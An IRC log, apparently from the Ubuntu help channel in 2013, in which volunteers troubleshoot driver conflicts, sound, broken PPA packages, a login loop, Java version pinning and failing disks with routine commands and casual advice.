[16:08] <bejker> please help i have diferent driver version installed, and diferent driver version is in kernel and system crash what to do?
[16:09] <kalekip1> linuxearth: Your ISP will hide your personal details.  Only a few are allowed to ask about your details when needed. (e.g. the FBI)
[16:09] <kalekip1> !whois | linuxearth
[16:10] <linuxearth> kalekip1: dude, i am not talking of here
[16:10] <linuxearth> but i am even concerned about the emails, for example, yahoo
[16:11] <bejker> i see nobody want to help me :/ nice support
[16:11] <KI7MT> if you use yahoo, gmail, etc the mail-transport header will have their IP address not yours.
[16:11] <gordonjcp> !patience | bejker
[16:11] <linuxearth> kalekip1: i am more concerned of the email generated from my ip, are they read anywhere or am i secured?
[16:11] <KI7MT> However, yahoo or gmail will have the history of where you connected to them from.
[16:12] <kalekip1> linuxearth: You are never secure on the internet.
[16:12] <kalekip1> For the last security news, bookmark: http://svpn.com/
[16:12] <k1l> bejker: with that less informations is would suggest to remove the different drivers and just install the driver from the official repos
[16:12] <faugusztin> linuxearth: the only safe way of communication is a in-person delivery of a letter which has no DNA on it :)
[16:13] <kalekip1> linuxearth: http://thehackernews.com/2013/08/Gmail-Privacy-surveillance-Snowden-Google.html
[16:13] <linuxearth> correct faugusztin,
[16:13] <gordonjcp> handy security hint, guys
[16:13] <linuxearth> but that takes much time
[16:13] <gordonjcp> no-one cares about you
[16:13] <KI7MT> even 256 can be cracked, so not to much free 100% secure stuff around these days.
[16:13] <gordonjcp> linuxearth: I guarantee no-one is reading your email
[16:13] <kalekip1> KI7MT: SHA512 + salt is very secure if used correctly.
[16:13] <gordonjcp> linuxearth: you, maybe
[16:14]  * MSHughes proceeds to read linuxearth's emails
[16:14] <KI7MT> I know I use it, but it' can be cracked.
[16:14] <tenc> What is the difference between Ubuntu and Xubuntu? Are the differences isolated to desktop and prepackaged software? Are there core differences beyond that?
[16:14] <bejker> k1l: i install from oficial repo, i use sgfxi to update nvidia graphic driver, and it's update to new version but, right now driver version is 304.108 and in kernel is still 304.88
[16:14] <litropy> I was disco for a bit. If my question was answered, I didn't get it/
[16:15] <gordonjcp> KI7MT: 73s de MM0YEQ
[16:15] <kalekip1> faugusztin: Sorry, late reply. My hardware should be fine. I think the drivers are messed up.
[16:15] <KI7MT> for example: tar cfJ - mykeys | openssl enc -aes-256-cbc -e > my-keys.tar.xz  but the NSA can crack it.
[16:16] <KI7MT> gordonjcp, rr .. I used to be M0EHA also :-)
[16:16] <linuxearth> gordonjcp: how do you guarantee and how ?
[16:16] <k1l> bejker: why you do that? sgfxi is not in the ubuntu repos.
[16:16] <gordonjcp> linuxearth: you're just not interesting enough
[16:16] <kalekip1> !ot | linuxearth
[16:16] <k1l> bejker: so that is causing problems
[16:16] <gordonjcp> KI7MT: oh seriously?
[16:16] <KI7MT> Yeah, lived in York fer about 6 yrs.
[16:16] <kalekip1> linuxearth: Go to ##security
[16:16] <etc> faugusztin: ActionParsnip: ikonia: you guys are very best guys, am so grateful for all your guidances, am now going to reboot and continue with my work :)
[16:16] <bejker> sgfxi is a self-updating nvidia, ati/amd fglrx, and xorg free driver installer and xorg configuration script written for originally for Debian, but since expanded to also include support for Ubuntu and Arch Linux systems.3
[16:17] <linuxearth> kalekip1: thanks dude
[16:17] <gordonjcp> KI7MT: cool, I quite like York as long as I don't have to drive a truck in it ;-)
[16:17] <k1l> bejker: but its not supported by ubuntu
[16:17] <k1l> bejker: so that is causing the problems. remove the drivers and dont use sgfxi
[16:17] <bejker> ok how to fix that?
[16:17] <KI7MT> gordonjcp, yeah, kinda rough once your inside the Ring-Road :-)
[16:17] <bejker> but how to remove
[16:17] <gordonjcp> KI7MT: try it in a 7.5 tonner...
[16:18] <phunyguy> offtopic, etc.
[16:18] <KI7MT> LOL no thanks
[16:18] <gordonjcp> KI7MT: I must get up on 30m myself, just looking at your QRZ page
[16:18] <kalekip1> Blweh. No sound at all >.<
[16:18] <KI7MT> 30m = Magic Band !!
[16:18] <gordonjcp> KI7MT: apparently so
[16:19] <gordonjcp> KI7MT: I have no 30m TX although I can receive
[16:19] <gordonjcp> KI7MT: my HF rig pre-dates 30m and WARC
[16:20] <KI7MT> Yeah, that' a problem then, gotta have 30m, all the DXE's hit 30m now days, that band just works.
[16:20] <kalekip1> Hey, my sound doesn't work anymore on Ubuntu 13.04.  Yesterday it worked fine. Any solutions?
[16:20] <bejker> kalekip1: aslaconfig
[16:21] <bejker> alsaconfig
[16:21] <OerHeks> kalekip1, did you tried removing the .pulseaudio folder?
[16:21] <gordonjcp> KI7MT: yeah I often listen to PSK31 on 30m
[16:21] <gordonjcp> KI7MT: I need to sort out my Notice of Variation to get on 60m ;-)
[16:21] <kalekip1> OerHeks: No, I only used killall pulseaudio; rm -r ~/.config/pulse*
[16:22] <KI7MT> kalekip1, http://blog.ubuntulinuxguide.com/2013/06/static-background-noise-ubuntu-1304.html
[16:22] <KI7MT> and http://askubuntu.com/questions/291165/sound-problems-after-upgading-to-13-04
[16:22] <OerHeks> kalekip1, that would do the same. check alsamixer and see with F6 if the right soundcard is selected and all levels are up
[16:22] <faugusztin> bejker: did you tried booting with different boot parameters ? i mean when you are presented with grub menu, press e to edit the selected row, remove quiet splash, add text and try to boot that way. it should go to text mode instead of GUI, thus it should not lock up when starting X ? after that just remove the mess you created :)
[16:23] <KI7MT> Seems there's a udev issues of sorts, need to read futher to pin point it exactly.
[16:23] <kalekip1> OerHeks: Where do I find alsamixer? :3
[16:23] <bejker> faugusztin:  i cant startx :D
[16:23] <KI7MT> gordonjcp, JT65 / JT9 on 30m, great modes as is CW of cource.
[16:23] <OerHeks> kalekip1, terminal: alsamixer # it is a tty app
[16:24] <faugusztin> bejker:  oh so you can boot then ? then i guess your best way to fix it would be removing nvidia drivers and then readding them again, that should overwrite the existing modules
[16:24] <bejker> faugusztin:  right now i instaled officiall driver what ubuntu find and i hope its work
[16:24] <gordonjcp> KI7MT: my CW is terrible, but I'm working on it.  Never got the wsjt stuff to work, all the deps on Fortran scared me off
[16:24] <faugusztin> kalekip1: alsa-utils ?
[16:24] <kalekip1> got the screen
[16:25] <KI7MT> gordonjcp, dont need gfortran to run, only to build the apps, that and Qt5, FFTW and Hamlib.
[16:25] <helasraizam> Hey guys, how do I get rid of a broken package whose uninstall script doesn't work?  sudo dpkg --configure -a, sudo dpkg install -f --force-all, sudo apt-get autoremove/clean/update/upgrade fails at each step citing the broken dpkg package.  The package is emacs-snapshot from Cassou's repo (the bug has been reported by another user), but I just want to get rid of it and go back to emacs24.
[16:25] <Mouser25> I have a DEL Latitude E5510 That I Installed Ubuntu 13.04 64bit and it worked great with 3G of ram but yesterday I upgraded it to 8GB and it wont boot with the new memory without loading the kernel with the mem=4096M option ...  Any Ideas on how to use all 8GB - system usage for the video card and what not?   There is no Memory Remap option in the bios that I can find and the bios detects all 8G of ram.
[16:25] <kalekip1> faugusztin: OerHeks: https://www.dropbox.com/s/yepzpjb998di6hu/Screenshot%20from%202013-09-18%2018%3A24%3A54.png
[16:25] <kalekip1> If it helps
[16:25] <kalekip1> xD
[16:25] <bejker> faugusztin:  i use right now additional drivers tool
[16:26] <OerHeks> kalekip1, test them both my guess is the Nvidia card
[16:27] <kalekip1> Honestly, I have no idea how it works.
[16:27] <avnish> how to run phython
[16:27] <OerHeks> kalekip1, and maximize that terminal, alsamixer has a lot of settings
[16:27] <OerHeks> kalekip1, arrow up and enter
[16:27] <helasraizam> Avnish, a python script or just the python terminal?
[16:27] <KI7MT> helasraizam, when all else fails, but the install pck list and manually remove them. Your better off build the source and using checkinstall as the pkg manager than using dpkg.
[16:28] <kalekip1> O.o
[16:28] <kalekip1> OerHeks: I hear sound again! XD
[16:28] <helasraizam> KI7MT I was afraid someone would say that.  There is really no better way than manually?  (I don't know what a pck list and checkinstall are)
[16:28] <OerHeks> kalekip1, have fun
[16:28] <faugusztin> Mouser25: Latitude E5510 is has a H55 chipset, memory remap is gone since... i think P35, so you won't find that there. my guess would be some strange ugly conflict of some hardware with fixed memory address. did you tried to look if there are no known issues with that laptop and that much ram ?
[16:29] <kalekip1> OerHeks: Thanks, even though your solution didn't help me.
[16:29] <KI7MT> helasraizam, not is apt-, apptitude or dpkg is falling over whn you try to remove them, that's the three main engines.
[16:29] <avnish> how to became a proffesional hacker
[16:29] <helasraizam> lol avnish
[16:29] <kalekip1> OerHeks: I had a HP and a stereobox plugged in at the same time. I guess Linux can't handle them both together?
[16:29] <KI7MT> avnish, study, allot
[16:29] <kalekip1> OerHeks: In Windows it works just fine.
[16:30] <avnish> phython script
[16:30] <OerHeks> kalekip1, line out and headphones?
[16:30] <avnish> is there any sight from which i ccan read
[16:30] <faugusztin> kalekip1: two analog devices from one sound card ?
[16:30] <kalekip1> sec.
[16:31] <Mouser25> faugusztin,  I have done a-lot of looking but I haven't come up with much I did find that some people reported issues with the UEFI and AHCI with 4G or greater but I tried to turn both off and I had the same results although Grub runs better in Legacy bios mode than it does in UEFI Mode
[16:31] <KI7MT> avnish, start here: http://gcc.gnu.org/
[16:31] <SeventhSamuari> 2.4ghz mouse question. When ever my laptop is not plugged into a power source it lags. I have looked all over the power setting and I dont see anything that would cause it.
[16:32] <SeventhSamuari> Any ideas?
[16:32] <KI7MT> helasraizam, info: https://help.ubuntu.com/community/CheckInstall
[16:33] <avnish> what is gcc
[16:33] <kalekip1> faugusztin: OerHeks: https://www.dropbox.com/s/b81oe6ot7180gna/20130918_183045.jpg https://www.dropbox.com/s/rmameqjzyb6wz0w/20130918_183104.jpg
[16:33] <zacts> does ubuntu 1 online storage establish an encrypted network connection, and if so, what kind of encryption does it use?
[16:33] <kalekip1> faugusztin: OerHeks: in Windows these together work fine...
[16:33] <avnish> i wan to study hacking from the base
[16:33] <kalekip1> avnish: ##security
[16:33] <kalekip1> !ot | avnish
[16:34] <k1l> avnish: hacking is not allowed in here. so please stop to ask for that
[16:34] <faugusztin> kalekip1: i apologize but that doesn't say anything to me, i see that one device is analog, where is the second sound device ? it is an analog connection ? or HDMI ? or what ?
[16:34] <etc> hi guys, sorry to say but its me, am back having corrected the path under etc/environment and added my tomcat variables to etc/profile.d/ still the issue is persisting, when i login either as guest or my own username, am returned to the same login screen,
[16:35] <faugusztin> kalekip1: or is one analog at back and another at front ? then i don't think it works
[16:35] <kalekip1> faugusztin: I think the last. Why does it work in Windows?
[16:35] <faugusztin> kalekip1: you probably were using a windows realtek driver feature, which was pushing the same sound to both back and front connectors
[16:36] <KI7MT> need to blacklist that driver and modprobe the correct one.
[16:36] <kalekip1> faugusztin: Yes, I think that's it. Don't I have an option to do that on Ubuntu?
[16:36] <KI7MT> whoops, wrong channel again, sri.
[16:37] <faugusztin> kalekip1: i don't think so, but you need to ask more knowledgeable. i know i was able to push sound out simultaneously via onboard HDMI and analog sound, which is technically the same sound card, but never tried two analog outputs.
[16:39] <SeventhSamuari> 2.4ghz mouse question. When ever my laptop is not plugged into a power source it lags. I have looked all over the power setting and I dont see anything that would cause it. Any ideas?
[16:40] <KI7MT> SeventhSamuari, The mouse Lags or the Computer lags ?
[16:40] <SeventhSamuari> mouse
[16:40] <faugusztin> SeventhSamuari: so if you connect a cabled one, it works fine ?
[16:40] <SeventhSamuari> i dont own one but the track pad works fine. as soon as i plug it into the power it works fine
[16:41] <elithebest> hi
[16:42] <elithebest> there are any italian?
[16:42] <k1l> !it | elithebest
[16:43] <KI7MT> SeventhSamuari, It's a guess but something is probably takign too much pwr when ur plugged into ac, check top, atop, htop and see si there's any process using lots of CPU cycles.
[16:43] <faugusztin> SeventhSamuari: by 2.4GHz you mean rf or bluetooth mouse ?
[16:44] <KI7MT> SeventhSamuari, also: sudo apt-get install bluez-hcidump then monitor BT activity for any clues
[16:44] <elithebest> ok grazie
[16:45] <KI7MT> like:sudo hcidump -x -i hciX  or sudo hcidump -x -A -i hciX -w ~/output
[16:45] <SeventhSamuari> bluetooth
[16:45] <etc> what is the cause and fix of an issue where when i/user enters correct username aand password and then is returned to the same login screen, am stuck, all i thought would be the cause seems not to bring back the fix, some extra help please
[16:46] <SeventhSamuari> Ok, Thanks i'll try looking at some of those and I'll get back to you guys
[16:46] <SubCool> If i were to zip up my home folder, would it include the hidden files? or would i have to tar it with attributes
[16:47] <genii> etc: Various issues can be to blame. The most common is permissions in the user's home directory have changed, usually by some accident like running something as root in there
[16:48] <KI7MT> SubCool, if you include ./* it would be "all" files / folders.
[16:48] <kalekip1> I had to reboot >.<
[16:48] <etc> genii: i have manually editted some files using a live cd, perhaps it is the issue, what then is the way out
[16:48] <etc> ?
[16:49] <MrMonkey13> bye #ubuntu
[16:49] <genii> etc: If the affected user is the only user on the system with sudo/admin rights, need to boot into single-user ( or mount from livecd ) and do a chown -R <their-username>:<their-username> /home/<their-username>       (adjust path accordingly if mounting from livecd)
[16:51] <wessel> Every time I sleep (suspend) this machine, it no longer wakes up.
[16:51] <wessel> Is this because I don't have a swap partition?
[16:51] <wessel> running ubuntu 13
[16:51] <columb> wessel, I don't think so. 13.04 without swap suspending fine for me.
[16:51] <KI7MT> SubCool, example:  tar -c --xz -f ~/home-$(date)-.tar.xz  $HOME/* shoud pull .dot files & folders
[16:51] <kalekip1> wessel: I think I had the same problem. Not sure though
[16:52] <SubCool> KI7MT,  tar -cvpzf backup.tar.gz /home/subcool/
[16:52] <SubCool> tar: Removing leading `/' from member names
[16:52] <SubCool> tar (child): backup.tar.gz: Cannot open: Permission denied
[16:52] <kalekip1> wessel: I'll try it right now for ya
[16:52] <nibbler> SubCool: prepend sudo
[16:52] <SubCool> shouldnt ihave rights to the folder?
[16:53] <nibbler> SubCool: don't konw, maybe you should. maybe thats whats wrong.
[16:53] <wessel> http://wafflesatnoon.com/2012/11/17/ubuntu-suspend-wont-wake-up-my-quest/
[16:53] <wessel> Success
[16:53] <wessel> I finally found success by merely changing from the open source video driver to a proprietary one.
[16:53] <etc> genii: i see two <their-username>:<their-username>  do i need to enter the same value?
[16:53] <SubCool> anyone know?
[16:53] <faugusztin> etc: yes, it is user:group, which should be same for a typical user
[16:54] <anshulk> Hi everyone !
[16:54] <faugusztin> SubCool: do you have the rights to write in the folder where you are tryint to create the backup.tar.gz ?
[16:54] <KI7MT> SubCool, sudo got nothing to do with it, it's a tar oder things, czfP should stop that.
[16:54] <anshulk> need some help in building cups
[16:54] <KI7MT> Assuming it's the Users home directory.
[16:54] <SubCool> kinda makes sense then. let me try something else.
[16:54] <anshulk> anybody experienced ?
[16:54] <genii> etc: If their group name is same as their username, just put:  <their-username>:     <-- with the colon after
[16:55] <etc> faugusztin: great to hear from u, you made it for me the other time, thanks genii for all
[16:55] <SubCool> yeah, i think it was the fact i was in a root folder
[16:56] <KI7MT> SubCool, from man tar:  Use the --absolute-names or -P option to disable this feature  that's what's causing the strip / comments.
[16:56] <helasraizam> Sorry guys got disconnected.  Someone was explaining to me how to remove a broken package in Ubuntu?
[16:57] <KI7MT> SubCool, as for tar /root, that would be permission denied or some such thing, not stripping the / from the absolute path
[16:57] <columb> helasraizam, tried apt-get install -f ?
[16:58] <dheeraj_> Hii all
[16:58] <columb> helasraizam,  or try Synaptic. It's more friendly.
[16:58] <cariveri> Hi. my xubuntu/ubuntu 13 splash is broken ugly. why is that and wha tcan I do about it?
[16:58] <dheeraj_> I want to format my external hardisk
[16:58] <dheeraj_> how can i
[16:59] <columb> dguerri, GParted.
[16:59] <dheeraj_> it is shoing unknown file system in GParted
[16:59] <columb> It's shouldn't be a issue since you formatting it.
[16:59] <geirha> dheeraj_: should it have a file system?
[17:00] <KI7MT> dheeraj_, make sure you unmount "umount" the drive first, then del old partition, create new, add format.
[17:01] <kalekip1> Back
[17:01] <etc> genii: faugusztin: run chown -R myusername:myusername home/myusername  and it returned chown: invalid user: `myusername:myusername'  any way out?
[17:01] <kalekip1> wessel: You still there?
[17:01] <kalekip1> wessel: I am running 13.04and have the same issue
[17:01] <etc> myusername == my user name i use on my pc as admin
[17:01] <SJr> I am having problems copying a file from a drive, and when I check /var/log/messages on Ubuntu server I get the following error: http://www.pastebin.ca/2454245.
[17:02] <helasraizam> columb, thanks, synaptic doesn't uninstall, upgrade, or fixbrokenpackage (the removal script of my package returns an error and quits), and sudo apt-get install -f (even with --force-all) quits on the same error
[17:02] <genii> etc: You need to substitute "myusername" with the user who is supposed to be owning the directory with their name. Also a leading / before home if you are doing this booted to the hard drive
[17:03] <columb> helasraizam,  what's the name of package? What's the error?
[17:03] <etc> genii, yes i substituted that,
[17:04] <etc> adding the /
[17:04] <KI7MT> SJr, I dont see the problem, smartctl is an application, its telling you there were no errors on /dev/sdc so not logging any.
[17:04] <columb> helasraizam, have you tried  dpkg --remove -force --force-remove-reinstreq yourpackagenamehere?
[17:05] <etc> genii: again the same thing is returned
[17:05] <faugusztin> etc: but you are running that on your system, or in livecd enviroment ?
[17:06] <etc> faugusztin: right on a livecd
[17:06] <KI7MT> SJr, also to run tests, command invocation is: smartctl -t /dev/sdc
[17:06] <helasraizam> columb, The package is emacs-snapshot from Cassou's repo (the bug's been posted), the error is Byte-compilation for emacs-snapshot failed.  I'll try that now!
[17:06] <helasraizam> columb, returns "dpkg: error: conflicting actions -f (--field) and -r (--remove)"
[17:06] <faugusztin> SJr: looking at that drive stats... if it is a desktop drive, i would recommend to change the SATA cable
[17:06] <TomyLobo> hi
[17:06] <TomyLobo> i previously installed java7u25 from this ppa: https://launchpad.net/~webupd8team/+archive/java
[17:07] <faugusztin> etc: chroot or boot your normal system and do that command there
[17:07] <raven> hi. I'm having some trouble with wine in ubuntu 12.04... anyone willing to help me? Or is there a wine channel?
[17:07] <TomyLobo> now i updated to 7u40, but it breaks the project i'm working on. how do i downgrade?
[17:07] <irreverant> what are you running in wine?
[17:07] <raven> irreverant, I'm trying to run an academic program called Logic 2010
[17:08] <kalekip1> !ot | raven
[17:08] <TomyLobo> the old package version isnt there anymore, nor does it show up in aptitude
[17:08] <faugusztin> TomyLobo: what do you mean by "breaks" ? if it does break, it's time to fix the problem with your code
[17:08] <kalekip1> wessel: Are you still there?
[17:08] <TomyLobo> faugusztin: not possibly, because that would break it on earlier java versions
[17:08] <raven> thanks
[17:09] <TomyLobo> not possible*
[17:09] <KI7MT> TomyLobo, is 7u40 breaking you project or the 8xx ?
[17:09] <TomyLobo> 7u40
[17:09] <TomyLobo> i need 7u25, basically
[17:09] <faugusztin> TomyLobo: you can still just download the installer from oracle and install it elsewhere
[17:09] <etc> faugusztin: how about having "PATH="...(other path):$JAVA_HOME:$JRE_HOME""   in a newly created .sh file added to /etc/profile.d,  won't it have any impact on my path i just reset in /etc/environment
[17:09] <etc> ?
[17:09] <TomyLobo> that's my backup plan
[17:10] <TomyLobo> does launchpad keep backups of packages somewhere?
[17:10] <faugusztin> etc: add $PATH to the end
[17:10] <TomyLobo> or is there some local package cache i could check?
[17:10] <geirha> etc: You'll probably want $JAVA_HOME/bin in there
[17:10] <KI7MT> Well you gonna have to remove J7RE .. they show how to install the PPA, but not remove it unfortunately.
[17:11] <Guest17032> hey guys.  I am having a problem.  I was trying to install gnome 3 and now I am getting a package with an unmet dependency.  I try apt-get -f install and that errors out as well.  I tried to remove gnome-shell and ubuntu-gnome-desktop and that errors out too.  Could anyone help me out with either removing this or getting it working?
[17:11] <etc> geirha: these are my contents in the file there
[17:11] <etc> JAVA_HOME=/usr/lib/jvm/java-6-openjdk-i386
[17:11] <etc> JRE_HOME=/usr/lib/jvm/java-6-openjdk-i386/jre
[17:11] <etc> PATH="...(other path):$JAVA_HOME:$JRE_HOME"
[17:12] <faugusztin> etc: PATH="...(other path):$JAVA_HOME:$JRE_HOME:$PATH"
[17:12] <geirha> etc: I'm pretty sure at least "$JAVA_HOME" does not contain any executables. Those will be in "$JAVA_HOME/bin"
[17:12] <faugusztin> etc: and yeah, what geirha said :)
[17:13] <Guest17032> here is what I get when I try to purge the package
[17:13] <Guest17032> http://paste.ubuntu.com/6124770/
[17:13] <KI7MT> TomyLobo, I'm sure there is 7u25 branch somewhere, but it's not on their PPA. If you really need that rev level, contact the maintainers, they should be able tore-build it from bzr pulls
[17:13] <KI7MT> be able to re-build ...
[17:13] <etc> faugusztin: thanks corrected that
[17:14] <Guest17032> and when I try apt-get -f install, this is what I get: http://paste.ubuntu.com/6124773/
[17:14] <genii> etc: Sorry for lag, work required me. What says the result of: ls -ld /home/username      ...where "username" is the one you are trying to correct
[17:14] <TomyLobo> hmm i know exactly nothing about bzw, except that it's a DSCM
[17:14] <Guest17032> Can anyone help?
[17:15] <Guest17032> it looks like if I rm the changelog.debian.gz it may finish, or am I mistaken?
[17:15] <MonkeyDust> Guest17032  what's the output of     cat /etc/issue
[17:16] <Guest17032> MonkeyDust, Ubuntu 13.04 \n \l
[17:16] <TomyLobo> about bzr*
[17:17] <TomyLobo> ok, i have a freshly built 7u40 package now :)
[17:17] <KI7MT> TomyLobo, the PPA is posting binary's, which are build from source obviously, so if you can get the source history, or have them build from 7u25 source history level, that should do it, but I'd also check why 7u40 is breaking and 7u25 is not.
[17:17] <wilee-nilee> Guest17032, did you add a PPA?
[17:17] <Guest17032> wilee-nilee, yes
[17:17] <MonkeyDust> Guest17032  in a terminal, paste this line, what's the outpu     sudo apt-get install pastebinit;sudo apt-get update|pastebinit
[17:17] <etc> geirha: am finding it heard to understand your last message to me, still are you proposing something like PATH="...(other path):$JAVA_HOME/bin:$JRE_HOME:$PATH"
[17:17] <wilee-nilee> Guest17032, We don't support them and that is the problem.
[17:18] <etc> ?
[17:18] <Guest17032> wilee-nilee, trying to install gnome3
[17:18] <TomyLobo> KI7MT: i did, it's not fixable without breaking compatibility to 7u25
[17:18] <SJr> KI7MT, hmmmm I would have that SMART would notice the problems with reallocated sectors.
[17:18] <SJr> faugusztin, what makes you say that, I'm just curious?
[17:18] <faugusztin> etc: yes -  $JAVA_HOME/bin:$JRE_HOME/bin:$PATH
[17:18] <wilee-nilee> Guest17032, gnome 3 is already there if you have unity.
[17:19] <SJr> I will change the SATA cable in a second but I will lose communication with this channel since my bounce is on that machine
[17:19] <SJr> or perhaps I should hotswap it.
[17:19] <Guest17032> wilee-nilee, don't follow
[17:19] <Guest17032> MonkeyDust, http://paste.ubuntu.com/6124792/
[17:19] <etc> faugusztin: thanks, wounderful
[17:19] <KI7MT> TomyLobo, Best bet is to contact the maintaner I'd say, set them to send a 7u25 build for you, if they will do it, I doubt they will.
[17:19] <wilee-nilee> Guest17032, unity is a plugin in compiz running on gnome 3 you want the gnome-shell for the gnome 3 dektop.
[17:19] <KI7MT> get them .. ..
[17:19] <faugusztin> SJr: you mean the errors ? the high error rates versus no reallocated blocks
[17:19] <wilee-nilee> desktop*
[17:20] <SJr> yeah
[17:20] <SJr> okay
[17:20] <Guest17032> wilee-nilee, and that is why I tried to install gnome-shell and ubuntu-gnome-desktop and now I am getting the error
[17:20] <SJr> thanks I'll be back in a bit
[17:20] <Guest17032> wilee-nilee, not sure what the problem iw.
[17:20] <TomyLobo> KI7MT: i'm fairly familiar with building source packages, i just need to figure out bazaar :)
[17:20] <faugusztin> SJr: next option is to run seatools/ wd data lifeguard diagnostic on that drive
[17:20] <genii> MonkeyDust: Might want sudo apt-get update 2>&1|pastebinit
[17:20] <SJr> okay
[17:20] <faugusztin> SJr: then RMA if it fails out :)
[17:20] <KI7MT> SJr, I was referring to logging, of the errors, what's the problem you need help resolving?
[17:20] <MonkeyDust> Guest17032  i guess some sources are disabled, look in system settings > updates and sources to find out
[17:21] <Guest17032> MonkeyDust, let me have a look
[17:21] <wilee-nilee> Guest17032, That failing install is from a ppa, the shell gives you the dektop and the fallback, you don't install the ubuntu-gnome-desktop
[17:21] <KI7MT> TomyLobo, Oh, well you can bzr co -r xxx .. it's fairy straight forward ..
[17:21] <SubCool> Can i mount an NFS over a WAN using my public IP address?
[17:21] <Guest17032> wilee-nilee, ok, so then how can I purge it?
[17:21] <TomyLobo> hah, the source download contains a bzr repo, whos base revision seems to be u25
[17:21] <TomyLobo> they didnt commit prior to building it :)
[17:21] <wilee-nilee> !ppa-purge | Guest17032
[17:22] <etc> genii" faugusztin: i think i need more clarification on the command, am to run, i have it as "chown -R etc:etc /home/etc" is it right?
[17:22] <rb-tnc> Hello all, I am having a real issue I can not figure out. Nautilus (File Manager (and up until I removed it Nemo)) constantly crashes when accessing the menu. When i right click  a file/folder and actually hit, rename, new, copy, paste.... is when it crashes. I have tried everything I know to try and figure out why and what is happening but I'm clueless, I am new to UNIX (less than 18 months). Any help would be greatly
[17:22] <rb-tnc> appreciated.
[17:22] <KI7MT> TomyLobo, but they have to have the source tree under bzr VCS  for you to do that.
[17:22] <Guest17032> MonkeyDust, not seeing anything disabled that is out of the ordinary.  the only disabled sources are the ones with (source code) listed
[17:22] <Guest17032> wilee-nilee, let me try that now
[17:22] <TomyLobo> KI7MT: what's the bzw equivalent of git reset --hard? :)
[17:22] <wilee-nilee> Guest17032, You also have held packages, are you or have you seen a partial upgrade in the update gui?
[17:23] <TomyLobo> or svn revert
[17:23] <KI7MT> TomyLobo, Pass, noty a git guru but can do a bit of googling
[17:23] <TomyLobo> (each without any further arguments)
[17:23] <genii> etc: The path will change according to where you are booted from. If you booted to the hard drive, that path is correct. If booted from a livecd, then append the directory name you maounted the hd under, typically /mnt
[17:23] <TomyLobo> KI7MT:  or svn revert
[17:23] <Guest17032> wilee-nilee, when I try to install ppa-purge I get the same error I have been getting about unmet dependencies.
[17:23] <Guest17032> wilee-nilee, I don't believe so.
[17:23] <TomyLobo> basically how do i trash all changes since the last commit
[17:24] <SubCool> whats the cli command to transfer files
[17:24] <SubCool> src?
[17:24] <SubCool> scr?
[17:24] <dv-> scp?
[17:24] <KI7MT> TomyLobo, See "revert": http://doc.bazaar.canonical.com/migration/en/survival/bzr-for-svn-users.html
[17:24] <genii> etc: If you're not sure where it's mounted, issue: mount        and it will report what is mounted where. If automaounted will typically be /media/<something>
[17:24] <Guest17032> wilee-nilee, it looks like I can't install anything or remove anything until that dependency is met.
[17:25] <TomyLobo> alright, same command :)
[17:25] <wilee-nilee> Guest17032, YOU have put yourself in a stuck position, another person will have to help you here.
[17:25] <Guest17032> wilee-nilee, I am not saying that it isn't my fault.  thank you for trying anyway.
[17:25] <Guest17032> MonkeyDust, any other suggestions?
[17:25] <DrFaustus> i'm running ubuntu 13.04 amd64 on a pentium 4 machine,what do u think about that?
[17:25] <KI7MT> TomyLobo, bascially: bzr revert -r 25  but you need to know what the 7u25 version was in order to revert to it.
[17:26] <MonkeyDust> Guest17032  none, try purging ppa's
[17:26] <KI7MT> bzr -r 25 is just example
[17:26] <Guest17032> MonkeyDust, I just tried that.  to install ppa-purge it still complains about the unmet dependency
[17:26] <SubCool> wilee-nilee, whats the cli command to transfers files at wirespeed
[17:26] <wilee-nilee> no idea
[17:26] <SubCool> scr
[17:26] <SubCool> src
[17:26] <SubCool> its associated with ssh
[17:27] <TomyLobo> looking good, thanks for the help, KI7MT
[17:27] <user82> is it a bug or a feature that apps in the launcher disappear on reboot? only the ones automatically added by the software center
[17:27] <etc> genii: am going to reboot and run it on the drive, thanks
[17:27] <TomyLobo> no i didnt need a revision number. as i said the u40 change was uncommitted
[17:27] <SubCool> scp
[17:27] <SubCool> got it
[17:28] <wilee-nilee> Guest17032, try running this then the purge. sudo dpkg --configure -a
[17:28] <KI7MT> TomyLobo, ohh.. ok,. no commit., so -r should work straight away then. Cool glad it worked.
[17:29] <DrFaustus> ERROR###ERROR###ERROR###ERROR###ERROR###ERROR###ERROR
[17:29] <DrFaustus> Failed to lock /var/lib/apt/lists/lock
[17:29] <Guest17032> wilee-nilee, trying now
[17:29] <wilee-nilee> DrFaustus, Do you have more than one installer open like synaptic while running a apt-get...etc
[17:29] <TomyLobo> $ java -version\njava version "1.7.0_25"
[17:29] <TomyLobo> perfect :)
[17:29] <KI7MT> :-)
,nope
[17:30] <faugusztin> TomyLobo: it will perfect until your clients upgrade to 1.7.0_40 :)
[17:30] <genii> etc: Don't forget to issue: mount -a -o remount,rw     if booted to recovery
[17:30] <genii> Bah, left
[17:31] <Marlenee> !paste
[17:31] <KI7MT> just set apt t- Not upgrade that pkg,
[17:31] <wilee-nilee> DrFaustus, Some details then leading to this.
[17:31] <nydel> hello
[17:31] <wilee-nilee> !tab | DrFaustus
,how can it b fixed?
[17:31] <wilee-nilee> !details | DrFaustus
[17:31] <SJr> faugusztin, hmmmmm switching the SATA cable didn't help.
[17:31] <KI7MT> TomyLobo, : echo <package> hold | sudo dpkg --set-selections
[17:32] <TomyLobo> faugusztin: taken care of that :)
[17:32] <Marlenee> anyone know what typr of panel this in the pic - http://imagebin.org/271283
[17:32] <SJr> Is seatools / wd data lifegaurd really going to save the data or drive. If I don't mind buying a new drive it's a safe bet at this point I need one correct. There are also other errors, in the sys log. http://pastebin.ca/2454265
[17:33] <faugusztin> SJr: no, but you will have a report you can present to RMA that your drive is faulty
[17:33] <TomyLobo> KI7MT: or "hold" in aptitude? :)
[17:33] <SJr> okay so I need to buy a new drive no matter what.
[17:33] <nydel> haven't seen it, Marlenee, but it's prettty
[17:33] <nydel> i've been using lxpanel
[17:33] <bekks> SJr: Maybe it gets replaced.
[17:33] <SJr> buying a new drive is cheap and I should get my data off as soon as possible. I don't have a place for it now.
[17:33] <faugusztin> DrFaustus: lsof | grep /var/lib/apt/lists/lock
[17:34] <DrFaustus> ok,t,   i'm running ubuntu 13.04 amd64 on a pentium 4 machine,what do u think about that?
[17:34] <Marlenee> nydel : yeah i need to know what is that product i get it on freehosting sites
[17:34] <KI7MT> TomyLobo, Aptitude: sudo aptitude hold package_name  .. dpkg echo "package hold" | sudo dpkg --set-selections
[17:34] <bekks> DrFaustus: Its getting cold outside nowadays - you already have your heating ;)
[17:35] <nydel> Marlenee: wait is that a desktop window manager? or a website?
, but hyperthreading is enabeled
[17:36] <bekks> DrFaustus: Ah, heating step 2.
